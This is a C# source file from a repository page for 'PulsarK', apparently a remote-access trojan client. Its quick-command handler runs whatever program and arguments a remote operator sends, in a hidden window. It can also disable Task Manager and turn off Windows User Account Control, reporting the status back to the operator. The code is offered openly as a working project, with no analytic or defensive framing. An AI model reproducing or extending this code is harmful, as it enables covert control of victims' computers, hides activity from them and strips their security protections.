Files
PulsarK-main/Pulsar.Client/Messages/QuickCommandHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

85 lines
2.7 KiB
C#

using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.QuickCommands;
using System.Diagnostics;
using Pulsar.Client.Helper.TaskManager;
using Pulsar.Client.Helper.UAC;
namespace Pulsar.Client.Messages
{
public class QuickCommandHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoSendQuickCommand || message is DoEnableTaskManager || message is DoDisableTaskManager || message is DoDisableUAC || message is DoEnableUAC;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoSendQuickCommand msg:
Execute(sender, msg);
break;
case DoEnableTaskManager msg:
Execute(sender, msg);
break;
case DoDisableTaskManager msg:
Execute(sender, msg);
break;
case DoDisableUAC msg:
Execute(sender, msg);
break;
case DoEnableUAC msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoSendQuickCommand message)
{
client.Send(new SetStatus { Message = "Successful Quick Command" });
Debug.WriteLine(message.Host + " " + message.Command);
//execute a new powershell with the command
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.FileName = message.Host;
startInfo.Arguments = message.Command;
process.StartInfo = startInfo;
process.Start();
}
private void Execute(ISender client, DoEnableTaskManager message)
{
client.Send(new SetStatus { Message = "Task Manager Enabled" });
TaskManager.Enable();
}
private void Execute(ISender client, DoDisableTaskManager message)
{
client.Send(new SetStatus { Message = "Task Manager Disabled" });
TaskManager.Disable();
}
private void Execute(ISender client, DoDisableUAC message)
{
client.Send(new SetStatus { Message = "UAC Disabled. Requires Restart" });
UACToggle.DisableUAC();
}
private void Execute(ISender client, DoEnableUAC message)
{
client.Send(new SetStatus { Message = "UAC Enabled. Requires Restart" });
UACToggle.EnableUAC();
}
}
}